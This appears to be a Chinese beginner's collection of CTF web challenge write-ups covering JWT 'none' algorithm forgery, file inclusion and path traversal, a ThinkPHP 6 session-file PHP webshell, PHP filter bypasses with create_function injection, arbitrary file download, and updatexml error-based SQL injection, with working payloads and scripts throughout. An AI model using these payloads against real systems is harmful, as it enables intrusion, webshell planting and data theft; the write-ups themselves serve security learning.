初学者的一些做题记录
[HFCTF2020]EasyLogin
源码中存在/static/js/app.js
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 function login ( ) { const username = $("#username" ).val (); const password = $("#password" ).val (); const token = sessionStorage .getItem ("token" ); $.post ("/api/login" , {username, password, authorization :token}) .done (function (data ) { const {status} = data; if (status) { document .location = "/home" ; } }) .fail (function (xhr, textStatus, errorThrown ) { alert (xhr.responseJSON .message ); }); }function register ( ) { const username = $("#username" ).val (); const password = $("#password" ).val (); $.post ("/api/register" , {username, password}) .done (function (data ) { const { token } = data; sessionStorage .setItem ('token' , token); document .location = "/login" ; }) .fail (function (xhr, textStatus, errorThrown ) { alert (xhr.responseJSON .message ); }); }function logout ( ) { $.get ('/api/logout' ).done (function (data ) { const {status} = data; if (status) { document .location = '/login' ; } }); }function getflag ( ) { $.get ('/api/flag' ).done (function (data ) { const {flag} = data; $("#username" ).val (flag); }).fail (function (xhr, textStatus, errorThrown ) { alert (xhr.responseJSON .message ); }); }
能正常访问,初步猜测是源码泄露?
有关koa-static
的目录结构,参考:(https://blog.csdn.net/fmyyy1/article/details/115674235)
app.js/
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 const Koa = require ('koa' );const bodyParser = require ('koa-bodyparser' );const session = require ('koa-session' );const static = require ('koa-static' );const views = require ('koa-views' );const crypto = require ('crypto' );const { resolve } = require ('path' );const rest = require ('./rest' );const controller = require ('./controller' );const PORT = 3000 ;const app = new Koa (); app.keys = [crypto.randomBytes (16 ).toString ('hex' )];global .secrets = []; app.use (static (resolve (__dirname, '.' ))); app.use (views (resolve (__dirname, './views' ), { extension : 'pug' })); app.use (session ({key : 'sses:aok' , maxAge : 86400000 }, app)); app.use (bodyParser ()); app.use (rest.restify ()); app.use (controller ()); app.listen (PORT );console .log (`app started at port ${PORT} ...` );
不是很懂为啥去访问controllers/api.js
。。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 const crypto = require ('crypto' );const fs = require ('fs' )const jwt = require ('jsonwebtoken' )const APIError = require ('../rest' ).APIError ;module .exports = { 'POST /api/register' : async (ctx, next) => { const {username, password} = ctx.request .body ; if (!username || username === 'admin' ){ throw new APIError ('register error' , 'wrong username' ); } if (global .secrets .length > 100000 ) { global .secrets = []; } const secret = crypto.randomBytes (18 ).toString ('hex' ); const secretid = global .secrets .length ; global .secrets .push (secret) const token = jwt.sign ({secretid, username, password}, secret, {algorithm : 'HS256' }); ctx.rest ({ token : token }); await next (); }, 'POST /api/login' : async (ctx, next) => { const {username, password} = ctx.request .body ; if (!username || !password) { throw new APIError ('login error' , 'username or password is necessary' ); } const token = ctx.header .authorization || ctx.request .body .authorization || ctx.request .query .authorization ; const sid = JSON .parse (Buffer .from (token.split ('.' )[1 ], 'base64' ).toString ()).secretid ; console .log (sid) if (sid === undefined || sid === null || !(sid < global .secrets .length && sid >= 0 )) { throw new APIError ('login error' , 'no such secret id' ); } const secret = global .secrets [sid]; const user = jwt.verify (token, secret, {algorithm : 'HS256' }); const status = username === user.username && password === user.password ; if (status) { ctx.session .username = username; } ctx.rest ({ status }); await next (); }, 'GET /api/flag' : async (ctx, next) => { if (ctx.session .username !== 'admin' ){ throw new APIError ('permission error' , 'permission denied' ); } const flag = fs.readFileSync ('/flag' ).toString (); ctx.rest ({ flag }); await next (); }, 'GET /api/logout' : async (ctx, next) => { ctx.session .username = null ; ctx.rest ({ status : true }) await next (); } };
先看对用户名的限制部分:
1 2 3 if (!username || username === 'admin' ){ throw new APIError ('register error' , 'wrong username' ); }
这里规定username
不能为空或不能强等于admin
,否则会抛出一个异常。
JWT
的构造部分:
1 2 3 4 5 const secret = crypto.randomBytes (18 ).toString ('hex' );const secretid = global .secrets .length ;global .secrets .push (secret)const token = jwt.sign ({secretid, username, password}, secret, {algorithm : 'HS256' });
简单说就是随机生成一串十六进制字符串,然后把它的长度赋值给secretid
。第三行就是去生成JSON Web Token
:
1 2 3 4 5 6 7 8 9 const token = ctx.header .authorization || ctx.request .body .authorization || ctx.request .query .authorization ;const sid = JSON .parse (Buffer .from (token.split ('.' )[1 ], 'base64' ).toString ()).secretid ;console .log (sid)if (sid === undefined || sid === null || !(sid < global .secrets .length && sid >= 0 )) { throw new APIError ('login error' , 'no such secret id' ); }
这部分先去寻找token
所在的位置,然后从token
中解析出sid
并打印出来。注意最后的if
判断语句:如果sid
未定义/为空/(0<=sid<=global.secrets.length
为假)那么就会抛出一个异常
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 const status = username === user.username && password === user.password ; if (status) { ctx.session .username = username; }'GET /api/flag' : async (ctx, next) => { if (ctx.session .username !== 'admin' ){ throw new APIError ('permission error' , 'permission denied' ); } const flag = fs.readFileSync ('/flag' ).toString (); ctx.rest ({ flag }); await next (); },
会话对象中username
需要是admin
,前面做了JWT
所以猜测要修改JWT
的对应字段达到目的,最终读取FLAG
有关JWT
的内容可以参考这位师傅的文章:[JSON Web Token(JWT)原理及用法 | 信安小蚂蚁 (gitee.io)](https://mayi077.gitee.io/2020/05/19/JSON-Web-Token(JWT)原理及用法/)
现在解题思路就清晰了:注册 –> 修改JWT
使其验证的username
为admin
–> 登录
先注册一个test
用户看看这个JWT
:
放这个网站解密:[JSON Web Tokens - jwt.io](https://jwt.io/)
首先我们要修改username
字段为admin
。然后注意:
1 2 3 const secret = global .secrets [sid];const user = jwt.verify (token, secret, {algorithm : 'HS256' });
从 global.secrets
数组中获取指定索引 sid
处的元素,然后将其赋值给 secret
变量。jwt.verify()
方法接受三个参数:要验证的 token
、密钥 secret
和一个包含选项的对象。在这里,选择了 algorithm: 'HS256'
,表示使用 HMAC-SHA256
算法进行验证。
所以不能只考虑更换username
字段值,就算改了签名那里过不了验证也是白搭。
首先是对于加密方式的利用:
但只改成none
没啥用(验证时还是指定了算法为HS256
)
用的是 HS256加密,但经过测试发现,当加密时使用的是 none 方法,验证时只要密钥处为 undefined 或者空之类的,即便后面的算法指名为 HS256,验证也还是按照 none 来验证通过,这样很轻松地就可以伪造一个 username 为 admin 的 jwttoken 了。
具体原理可以参考赵师傅的博客:[虎符 CTF Web 部分 Writeup – glzjin (zhaoj.in)](https://www.zhaoj.in/read-6512.html)
,师傅讲的非常详细我就不写了,贴张比较重要的图:
现在我们需要把secret
密钥置空,看下这东西怎么来的:
1 const secret = global .secrets [sid];
从 global.secrets
数组中获取索引为 sid
的元素
sid
:
1 const sid = JSON .parse (Buffer .from (token.split ('.' )[1 ], 'base64' ).toString ()).secretid ;
1 2 const secretid = global .secrets .length ;global .secrets .push (secret)
通过修改 secretid,使其无法作为全局变量 secrets 数组的索引,那么 secret 就会为空了。当然这东西也不能乱改:
1 2 3 if (sid === undefined || sid === null || !(sid < global .secrets .length && sid >= 0 )) { throw new APIError ('login error' , 'no such secret id' ); }
同样参考了赵师傅的博客,可以看到令sid
为一个空数组时,a[sid]
为undefined
。
JavaScript 是一门弱类型语言,空数组与数字比较永远为真
当然这里用"0e啥的"
绕过也可以(不同类型进行比较时也会有类型转换)
生成token
(当然这里也能自己手动改):
1 2 3 4 5 6 7 8 9 10 11 import timeimport jwt info = {'iat' : int (time.time()), "secretid" : "0e123" , "username" : "admin" , "password" : "admin" } token = jwt.encode(info,key="" ,algorithm="none" )print (token)
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpYXQiOjE3MDI4MDE4NTgsInNlY3JldGlkIjoiMGUxMjMiLCJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiJ9.
登录GetFlag
[网鼎杯 2020 半决赛]AliceWebsite
注意URL
:/index.php?action=home.php
给了个压缩包:
DSSTORE
文件里没啥东西:
index.php
:
1 2 3 4 5 6 7 8 <?php $action = (isset ($_GET ['action' ]) ? $_GET ['action' ] : 'home.php' );if (file_exists ($action )) { include $action ; } else { echo "File not found!" ; }?>
没有任何过滤的任意文件包含,注意这里会先进行file_exists
,所以伪协议不要想了。
etc/passwd
能读:
目录穿越读flag:/index.php?action=../../../flag
[GYCTF2020]EasyThinking www.zip
:里面有个README.md
搜了下thinkphp6
有什么洞:
[Thinkphp < 6.0.2 session id未作过滤导致getshell - 先知社区 (aliyun.com)](https://xz.aliyun.com/t/7109)
主要就是由于程序未对session id进行危险字符判断,只要将session id写为类似于xxxx.php
的格式,即可导致session保存成.php
文件,从而getshell。
app/home/controler
下存在member.php
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 <?php namespace app \home \controller ;use think \exception \ValidateException ;use think \facade \Db ;use think \facade \View ;use app \common \model \User ;use think \facade \Request ;use app \common \controller \Auth ;class Member extends Base { public function index ( ) { if (session ("?UID" )) { $data = ["uid" => session ("UID" )]; $record = session ("Record" ); $recordArr = explode ("," , $record ); $username = Db ::name ("user" )->where ($data )->value ("username" ); return View ::fetch ('member/index' ,["username" => $username ,"record_list" => $recordArr ]); } return view ('member/index' ,["username" => "Are you Login?" ,"record_list" => "" ]); } public function login ( ) { if (Request ::isPost ()){ $username = input ("username" ); $password = md5 (input ("password" )); $data ["username" ] = $username ; $data ["password" ] = $password ; $userId = Db ::name ("user" )->where ($data )->value ("uid" ); $userStatus = Db ::name ("user" )->where ($data )->value ("status" ); if ($userStatus == 1 ){ return "<script>alert(\"该用户已被禁用,无法登陆\");history.go(-1)</script>" ; } if ($userId ){ session ("UID" ,$userId ); return redirect ("/home/member/index" ); } return "<script>alert(\"用户名或密码错误\");history.go(-1)</script>" ; }else { return view ('login' ); } } public function register ( ) { if (Request ::isPost ()){ $data = input ("post." ); if (!(new Auth )->validRegister ($data )){ return "<script>alert(\"当前用户名已注册\");history.go(-1)</script>" ; } $data ["password" ] = md5 ($data ["password" ]); $data ["status" ] = 0 ; $res = User ::create ($data ); if ($res ){ return redirect ('/home/member/login' ); } return "<script>alert(\"注册失败\");history.go(-1)</script>" ; }else { return View ("register" ); } } public function logout ( ) { session ("UID" ,NULL ); return "<script>location.href='/home/member/login'</script>" ; } public function updateUser ( ) { $data = input ("post." ); $update = Db ::name ("user" )->where ("uid" ,session ("UID" ))->update ($data ); if ($update ){ return json (["code" => 1 , "msg" => "修改成功" ]); } return json (["code" => 0 , "msg" => "修改失败" ]); } public function rePassword ( ) { $oldPassword = input ("oldPassword" ); $password = input ("password" ); $where ["uid" ] = session ("UID" ); $where ["password" ] = md5 ($oldPassword ); $res = Db ::name ("user" )->where ($where )->find (); if ($res ){ $rePassword = User ::update (["password" => md5 ($password )],["uid" => session ("UID" )]); if ($rePassword ){ return json (["code" => 1 , "msg" => "修改成功" ]); } return json (["code" => 0 , "msg" => "修改失败" ]); } return json (["code" => 0 , "msg" => "原密码错误" ]); } public function search ( ) { if (Request ::isPost ()){ if (!session ('?UID' )) { return redirect ('/home/member/login' ); } $data = input ("post." ); $record = session ("Record" ); if (!session ("Record" )) { session ("Record" ,$data ["key" ]); } else { $recordArr = explode ("," ,$record ); $recordLen = sizeof ($recordArr ); if ($recordLen >= 3 ){ array_shift ($recordArr ); session ("Record" ,implode ("," ,$recordArr ) . "," . $data ["key" ]); return View ::fetch ("result" ,["res" => "There's nothing here" ]); } } session ("Record" ,$record . "," . $data ["key" ]); return View ::fetch ("result" ,["res" => "There's nothing here" ]); }else { return View ("search" ); } } }
主要就是下面这几点:
session文件,一般位于项目根目录下的./runtime/session/
文件夹下,也就是/runtime/session/sess_叉叉叉.php
(注意这里名+.php要满足32个字符)
1 2 3 4 5 6 $data = input ("post." );$record = session ("Record" );if (!session ("Record" )) { session ("Record" ,$data ["key" ]); }
post
传$data
,然后把它保存到session中键record
对应的值
1 2 3 if (Request ::isPost ()){ if (!session ('?UID' )) {
给key传个一句话:<?php @eval($_POST['a']);?>
,然后访问目标文件(按理说会有两个键值对:uid和key):
/runtime/session/sess_1234567890123456789012345678.php
没问题,先看环境变量里是否有flag:有,不过是假的:
蚁剑连接:
flag
没法读(估计是禁用了大量函数,phpinfo的disable_functions里可以看到。想到之前极客大挑战里做过类似的,蚁剑提供了绕过功能:
[BJDCTF2020]EzPHP
看源码,注意红框:
大写字母加数字组合,等号结尾,看着像base
家族的但不是base64
?base32
解码得到:1nD3x.php
,访问:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php highlight_file (__FILE__ );error_reporting (0 ); $file = "1nD3x.php" ;$shana = $_GET ['shana' ];$passwd = $_GET ['passwd' ];$arg = '' ;$code = '' ;echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>" ;if ($_SERVER ) { if ( preg_match ('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i' , $_SERVER ['QUERY_STRING' ]) ) die ('You seem to want to do something bad?' ); }if (!preg_match ('/http|https/i' , $_GET ['file' ])) { if (preg_match ('/^aqua_is_cute$/' , $_GET ['debu' ]) && $_GET ['debu' ] !== 'aqua_is_cute' ) { $file = $_GET ["file" ]; echo "Neeeeee! Good Job!<br>" ; } } else die ('fxck you! What do you want to do ?!' );if ($_REQUEST ) { foreach ($_REQUEST as $value ) { if (preg_match ('/[a-zA-Z]/i' , $value )) die ('fxck you! I hate English!' ); } } if (file_get_contents ($file ) !== 'debu_debu_aqua' ) die ("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>" );if ( sha1 ($shana ) === sha1 ($passwd ) && $shana != $passwd ){ extract ($_GET ["flag" ]); echo "Very good! you know my password. But what is flag?<br>" ; } else { die ("fxck you! you don't know my password! And you don't know sha1! why you come here!" ); }if (preg_match ('/^[a-z0-9]*$/isD' , $code ) || preg_match ('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i' , $arg ) ) { die ("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=" ); } else { include "flag.php" ; $code ('' , $arg ); } ?> This is a very simple challenge and if you solve it I will give you a flag. Good Luck! Aqua is the cutest five-year-old child in the world! Isn't it ?
第一部分:
1 2 3 4 5 6 7 8 9 10 11 12 13 if ($_SERVER ) { if ( preg_match ('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i' , $_SERVER ['QUERY_STRING' ]) ) die ('You seem to want to do something bad?' ); }if (!preg_match ('/http|https/i' , $_GET ['file' ])) { if (preg_match ('/^aqua_is_cute$/' , $_GET ['debu' ]) && $_GET ['debu' ] !== 'aqua_is_cute' ) { $file = $_GET ["file" ]; echo "Neeeeee! Good Job!<br>" ; } } else die ('fxck you! What do you want to do ?!' );
首先是$_SERVER
这个超全局变量:
有服务器信息能访问时它就为真,接下来是$_SERVER['QUERY_STRING']
这东西:存储当前请求的查询字符串部分。查询字符串是 URL 中问号后面的部分,通常用于向服务器传递参数。不过注意这东西不会URLDecode
比如对于这个URL
:
1 2 3 4 5 https://example.com/page.php?id =123 %20name =John$_SERVER ['QUERY_STRING' ] 为 id =123 %20name =John$_GET ['name' ] 为 John Doe
第一个正则ban
了debu,aqua,cute
啥的,但接下来的正则匹配很明显要给debu
赋值。所以这里把过滤的字符URL
编码一下就行。
第二个正则:preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute')
这里令?debu=aqua_is_cute%0a
就行,因为非多行模式下$
这个东西似乎会忽略在句尾的%0a
第二部分:
1 2 3 4 5 6 if ($_REQUEST ) { foreach ($_REQUEST as $value ) { if (preg_match ('/[a-zA-Z]/i' , $value )) die ('fxck you! I hate English!' ); } }
$_REQUEST
超全局变量包含了 $_GET
、$_POST
和 $_COOKIE
超全局变量的合集。这里会遍历每个字符然后过正则匹配(过滤了所有大小写字母)。
假如我们get
传一个a
,post
也传一个a
,那么$_REQUEST[a]
会是谁的值呢?
这取决于你的php.ini中的variables_order
的设置,默认为:
1 variables_order = "GPCS"
它们的顺序决定了 PHP 在处理超全局变量时的优先级。例如,如果 variables_order = "GPCS"
,那么 PHP 会先将 $_GET
的值转换为全局变量,然后是 $_POST
,接着是 $_COOKIE
,最后是 $_SESSION
。
也就是说,他先取了get的值然后判断有没有post的值有的话就覆盖掉。那么我们只需要将要get传入的参数post传一遍非字母的就行。
第三部分:
1 2 3 4 5 6 7 8 9 10 if (file_get_contents ($file ) !== 'debu_debu_aqua' ) die ("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>" );if ( sha1 ($shana ) === sha1 ($passwd ) && $shana != $passwd ){ extract ($_GET ["flag" ]); echo "Very good! you know my password. But what is flag?<br>" ; } else { die ("fxck you! you don't know my password! And you don't know sha1! why you come here!" ); }
这部分很简单,file_get_contents
的判断我们直接利用data
伪协议写debu_debu_aqua
到file
里就好。
data://text/plain,debu_debu_aqua
接下来是两个哈希强等于,直接数组绕过就行:
$shana[]=1&$passwd[]=2
extract($_GET["flag"]);
:进行变量覆盖。
第四部分:
1 2 3 4 5 6 7 if (preg_match ('/^[a-z0-9]*$/isD' , $code ) || preg_match ('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i' , $arg ) ) { die ("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=" ); } else { include "flag.php" ; $code ('' , $arg ); } ?>
这部分不会做。。查了wp
发现这东西叫create_function
代码注入,比如:
1 2 3 4 5 <?php $func = create_function ('$a, $b' , 'return($a+$b);' );print_r ($func (1 ,2 ));
回显了3
,实际上func
这东西就相当于:
1 2 3 4 function func ($a , $b ) { return ($a +$b ); }
这时我们令$b =1);}phpinfo();/*
,执行的会是什么呢?:
1 2 3 4 5 function func ($a , $b ) { return ($a +1 );}phpinfo ();
比如对于这段代码:
1 2 3 4 5 6 7 8 9 10 <?php $id =$_GET ['id' ];$str2 ='echo $a' .'test' .$id .";" ;echo $str2 ;echo "<br/>" ;echo "==============================" ;echo "<br/>" ;$f1 = create_function ('$a' ,$str2 );?>
payload
:?id=;}phpinfo();/*
1 2 3 4 5 6 7 8 9 原函数:function fT ($a ) { echo $a ."test" .$id ; } 代码注入后:function fT ($a ) { echo $a ."test" ;}phpinfo ();
所以对于$code('', $arg);
这东西,我们可以利用create_function
来执行命令。
1 preg_match ('/^[a-z0-9]*$/isD' , $code )
这东西意思是只匹配大小写字母和数字,要是存在其它的就返回false
。create_function
正好存在_
。令flag[code]=create_function
:create_function('',$arg)
,这东西就相当于:
1 2 3 function lambda ('' ) { $arg }
我们可以通过利用$arg
闭合{
然后进行命令执行,比如arg=}func();//
:
1 2 3 function a ('' ,$arg ) { return }func (); }
由于存在include"flag.php"
,可以利用var_dump
和get_defined_vars()
将所有变量和值输出(假设flag.php
中定义了$flag=xxxx
之类的)
梳理下截至到目前的payload:
1 2 3 4 file =data://text/plain,debu_debu_aqua&debu =aqua_is_cute &shana []=1&passwd []=2&flag [code]=create_function&flag [arg]=}var_dump(get_defined_vars());// POST传file =1&debu =2
注意$_SERVER['QUERY_STRING'])
,把这东西URL
编码一下(file和=不用编码,没过滤):
1 2 3 4 //一般不会对字母进行URL编码,如果编码的话就是对应十六进制表示然后前面的0 x 换成百分号1 nD3 x .php?file= %64 %61 %74 %61 %3 a%2 f%2 f%74 %65 %78 %74 %2 f%70 %6 c %61 %69 %6 e%2 c %64 %65 %62 %75 %5 f%64 %65 %62 %75 %5 f%61 %71 %75 %61 &%64 %65 %62 %75 = %61 %71 %75 %61 %5 f%69 %73 %5 f%63 %75 %74 %65 %0 A&%73 %68 %61 %6 e%61 []= 1 &%70 %61 %73 %73 %77 %64 []= 2 &%66 %6 c %61 %67 %5 b%63 %6 f%64 %65 %5 d= %63 %72 %65 %61 %74 %65 %5 f%66 %75 %6 e%63 %74 %69 %6 f%6 e&%66 %6 c %61 %67 %5 b%61 %72 %67 %5 d= }%76 %61 %72 %5 f%64 %75 %6 d%70 (%67 %65 %74 %5 f%64 %65 %66 %69 %6 e%65 %64 %5 f%76 %61 %72 %73 ()) POST传file= 1 &debu= 2
现在要想办法读rea1fl4g.php
,不过还是要注意前面$_SERVER['QUERY_STRING']
和正则匹配的限制。
可以用require
去读,但限制了con,fil
啥的,考虑取反绕过:
1 2 3 4 5 6 7 8 9 10 <?php $str = "p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = r e a 1 f l 4 g . p h p" ;$arr1 = explode (' ' , $str );echo "<br>~(" ;foreach ($arr1 as $key => $value ) { echo "%" .bin2hex (~$value ); }echo ")<br>" ;?>
1 ~(%8 f%97 %8 f%c5 %d0 %d0 %99 %96 %93 %8 b%9 a%8 d%d0 %8 d%9 a%9 e%9 b%c2 %9 c %90 %91 %89 %9 a%8 d%8 b%d1 %9 d%9 e%8 c %9 a%c9 %cb %d2 %9 a%91 %9 c %90 %9 b%9 a%d0 %8 d%9 a%8 c %90 %8 a%8 d%9 c %9 a%c2 %8 d%9 a%9 e%ce %99 %93 %cb %98 %d1 %8 f%97 %8 f)
最终payload
1 /1 nD3 x .php?file= %64 %61 %74 %61 %3 a%2 f%2 f%74 %65 %78 %74 %2 f%70 %6 c %61 %69 %6 e%2 c %64 %65 %62 %75 %5 f%64 %65 %62 %75 %5 f%61 %71 %75 %61 &%64 %65 %62 %75 = %61 %71 %75 %61 %5 f%69 %73 %5 f%63 %75 %74 %65 %0 A&%73 %68 %61 %6 e%61 []= 1 &%70 %61 %73 %73 %77 %64 []= 2 &%66 %6 c %61 %67 %5 b%63 %6 f%64 %65 %5 d= %63 %72 %65 %61 %74 %65 %5 f%66 %75 %6 e%63 %74 %69 %6 f%6 e&%66 %6 c %61 %67 %5 b%61 %72 %67 %5 d= }require(~(%8 f%97 %8 f%c5 %d0 %d0 %99 %96 %93 %8 b%9 a%8 d%d0 %8 d%9 a%9 e%9 b%c2 %9 c %90 %91 %89 %9 a%8 d%8 b%d1 %9 d%9 e%8 c %9 a%c9 %cb %d2 %9 a%91 %9 c %90 %9 b%9 a%d0 %8 d%9 a%8 c %90 %8 a%8 d%9 c %9 a%c2 %8 d%9 a%9 e%ce %99 %93 %cb %98 %d1 %8 f%97 %8 f))
然后解码:
1 2 3 4 5 6 7 8 9 10 11 12 13 <html > <head > <meta charset ="utf-8" > <meta http-equiv ="X-UA-Compatible" content ="IE=edge" > <meta name ="viewport" content ="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" > <title > Real_Flag In Here!!!</title > </head > </html > <?php echo "咦,你居然找到我了?!不过看到这句话也不代表你就能拿到flag哦!" ; $f4ke_flag = "BJD{1am_a_fake_f41111g23333}" ; $rea1_f1114g = "flag{870ae629-6309-425c-a5e6-22fbe7cc08fc}" ; unset ($rea1_f1114g );
[GKCTF 2021]easycms 提示:后台密码5位弱口令
![GKCTF 2021easycms1](img/GKCTF 2021easycms1.png)
登录页面一直点不了。。也没啥提示,看了wp发现有这么个界面:admin.php
![GKCTF 2021easycms3](img/GKCTF 2021easycms3.png)
注意这个URL
:admin.php?m=user&f=login&referer=L2FkbWluLnBocA==
,解码后是/admin.php
用户名admin
,密码12345
设计 - 主题 - 自定义 - 存在导出文件的功能
![GKCTF 2021easycms6](img/GKCTF 2021easycms6.png)
![GKCTF 2021easycms7](img/GKCTF 2021easycms7.png)
导出后会下载一个zip
文件,抓包看看:
注意这里的URL
:L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvYS56aXA=
![GKCTF 2021easycms4](img/GKCTF 2021easycms4.png)
解码:/var/www/html/system/tmp/theme/default/a.zip
存在任意文件下载功能?theme
直接换成/flag
的base64
:L2ZsYWc=
注意下载的是压缩包,后缀改成txt
再打开就行。
![GKCTF 2021easycms5](img/GKCTF 2021easycms5.png)
第二种方法:
设计 - > 高级 -> 编辑 这里至此自定义,比如:
但不能直接保存,会提示我们需要创建一个文件:
如果想自定义就要去创建这样一个文件:/var/www/html/system/tmp/xspg.txt
设计 -> 组件 -> 素材库这里支持上传文件:
注意他这个存储路径,存在目录穿越:
文件不用加后缀,目录穿越多试几次就行,如果目录不对他自己会提示fail
[GXYCTF2019]StrongestMind
源码没啥提示,直接抓包看看:
把结果明文传过去的,POST answer=xxxx
脚本不会写直接抄的这位师傅的:https://blog.csdn.net/shinygod/article/details/124141957
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requestsimport reimport time url="http://4dd9922c-9934-46da-83e8-49992b7b6ffd.node4.buuoj.cn:81/" session = requests.session() req = session.get(url).text flag = "" for i in range (1010 ): try : result = re.findall("\<br\>\<br\>(\d.*?)\<br\>\<br\>" ,req) result = "" .join(result) result = eval (result) print ("time: " + str (i) +" " +"result: " + str (result)) data = {"answer" :result} req = session.post(url,data=data).text if "flag{" in req: print (re.search("flag{.*}" , req).group(0 )[:50 ]) break time.sleep(0.1 ) except : print ("[-]" )
[RCTF2015]EasySQL 随便注册了个账号,发现这东西有修改密码的功能。
初步猜测二次注入。二次注入这东西个人理解就是在获取用户输入的过程中只简单设置了转义(比如在单引号前面加个\)
,然后用户通过某个功能将恶意数据取出并利用。
admin
用户不给注册,估计是要以admin
身份登录然后拿flag
。不知道这个用户名是怎么闭合的,输个admin‘#
注册一下:
然后修改密码,这时如果它后端改密码的逻辑是类似这种:
1 update users set password= '$new_pass' where username= '$user' and password= '$old_pass' ;
我们把用户名admin'#
放进去:
1 update users set password= '$new_pass' where username= 'admin' # and password= '$old_pass' ;
可以看到实际修改的是admin
的密码。当然这个闭合不一定是单引号,需要试。
试到双引号终于出了点东西(这里我注册的是admin"--+
):
但报错了?
pwd
这个字段存的应该是旧密码的md5(可以自己换然后看回显。)
报错原因估计就是用户名闭合的问题,可以注册一个"admin"
看看:
注意这个admin""
,所以用户名用双引号闭合的。而且出错会有回显?考虑报错注入:
1 2 1"&&(updatexml(1,concat(0x7e,(select (database ())),0x7e ),1 ))# 空格被过滤了,用括号替换
1 1 "&&(updatexml(1 ,concat(0 x7e,(select(group_concat(table_name))from (information_schema.tables)where (table_schema=database())),0 x7e),1 ))#
后面就不详细写了,flag
表下有flag
字段:
1 1 "&&(updatexml(1 ,concat(0 x7e,(select(flag)from (flag)),0 x7e),1 ))#
他🐎的,只能再看别的表:user
1 1 "&&(updatexml(1 ,concat(0 x7e,(select(group_concat(column_name))from (information_schema.columns)where (table_name='user')),0 x7e),1 ))#
没显示完全,updatexml
这东西只显示32。可以利用reverse
:
1 1 "&&(updatexml(1 ,concat(0 x7e,reverse((select(group_concat(column_name))from (information_schema.columns)where (table_name='user'))),0 x7e),1 ))#
???他妈的我说怎么不对我把users打成user了,我真傻逼
1 1 "&&(updatexml(1 ,concat(0 x7e,(select(group_concat(column_name))from (information_schema.columns)where (table_name='users')),0 x7e),1 ))#
reverse
一下看后面有没有:
1 1 "&&(updatexml(1 ,concat(0 x7e,reverse((select(group_concat(column_name))from (information_schema.columns)where (table_name='users'))),0 x7e),1 ))#
读real_flag_1s_here
字段:
1 1 "&&(updatexml(1 ,concat(0 x7e,(select(real_flag_1s_here)from (users)),0 x7e),1 ))#
这东西返回了不止一行。。正则匹配下带有flag
或RCTF
的字段就行,正则的语法类似这种:
1 2 3 SELECT NameFROM ProductsWHERE Name REGEXP 'XXXXX' ;
所以:
1 1 "&&updatexml (1 ,concat(0 x7e,reverse((select(group_concat(real_flag_1s_here))from (users)where (real_flag_1s_here)regexp ('flag'))),0 x7e),1 )#
去掉reverse再看,然后拼起来就行。
[GYCTF2020]Ezsqli 唉,孙笑川,晦气啊。
先看怎么闭合的1'#
:
初步猜测布尔盲注,尝试1#
数字型注入
FUZZ
一下看看都过滤了啥:
我用的是这个字典,可以参考一下(用burpsuite FUZZ的话记得设置一下间隔,也就是Fixed参数)
